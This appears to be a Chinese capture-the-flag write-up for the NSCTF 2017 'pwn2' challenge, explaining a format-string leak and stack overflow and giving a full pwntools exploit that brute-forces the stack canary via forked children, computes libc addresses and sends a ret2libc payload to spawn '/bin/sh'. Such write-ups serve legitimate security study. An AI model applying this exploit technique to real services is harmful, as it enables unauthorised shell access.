NSCTF 2017-pwn2

程序基本信息

32位動態連接程序,開啓了數據段不可執行以及棧溢出保護

程序漏洞

在函數中sub_80487fa中有一個格式化字符串漏洞和read函數棧溢出漏洞

總體思路

首先不用說,確定得先想辦法棧溢出,溢出函數咱們已經找到,接下來的問題就是得泄露出canary的值,從而繞過棧溢出保護。咱們固然能夠經過格式化字符串漏洞泄露canary的值,也另一種方法就是爆破得到canary的值。程序中有fork函數,經過fork函數打開的子進程因爆破失敗結束了也不會影響父進程,藉此咱們能夠不斷調用子進程來爆破canary的值。得到canary的值後,因題目給了libc,咱們只要隨便泄露出庫函數的地址,藉此計算system與/bin/sh的地址,再經過rop技術,便可pwn掉程序。

exp腳本

#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(os = 'linux', arch = 'amd64')

io = remote('172.17.0.3', 10001)

canary = '\x00'      #canary最低字節必爲\x00
for i in xrange(3):
    for j in xrange(256):
        io.sendline('Y')
        io.recv()
        io.sendline('%5$p')     #泄露棧上的libc地址
        io.recvuntil('game ')
        leak_libc_addr = int(io.recv(10), 16)
        
        io.recv()
        payload = 'A'*16            #構造payload爆破canary
        payload += canary
        payload += chr(j)                     #逐字節爆破canary
        io.send(payload)
        io.recv()
        if ("" != io.recv(timeout = 0.1)):      #若是canary的字節位爆破正確,應該輸出兩個"[*] Do you love me?",所以經過第二個recv的結果判斷是否成功
            canary += chr(j)                  #將正確字節拼接上
            log.info('At round %d find canary byte %#x' %(i, j))
            break

log.info('Canary is %#x' %(u32(canary)))
system_addr = leak_libc_addr - 0x1b6e00  + 0x3b060  #0x1b6e00和0x3b060分別爲IO_2_1_stdin_距離libc頭部偏移
binsh_addr = leak_libc_addr - 0x1b6e00 + 0x15fa0f  #/bin/sh字符串距離libc頭部偏移
log.info('System address is at %#x, /bin/sh address is at %#x' %(system_addr, binsh_addr))

payload = ''                    #構造payload執行system('/bin/sh')
payload += 'A'*16
payload += canary                       #將canary放在正確的位置
payload += 'B'*12
payload += p32(system_addr)
payload += 'CCCC'                       #返回地址任填
payload += p32(binsh_addr)

io.sendline('Y')                #[*] Do you love me?
io.recv()
io.sendline('1')                #[*] Input Your name please: 隨便一個輸入
io.recv()
io.send(payload)                #[*] Input Your Id: 漏洞產生點
io.interactive()

發現的問題

原文中泄露的libc中的地址是_cxa_atexit+25,可是經過我比較發現,不一樣庫同一函數的代碼多是不同的

我電腦使用的libc的_cxa_atexit
python

題目給的libc
linux

因此說咱們在計算函數在內存中的偏移時,最好使用函數名或者全局變量(好比說上文使用的IO_2_1_stdin_)

內容參考

Linux pwn入門教程(9)函數

相關文章
相關標籤/搜索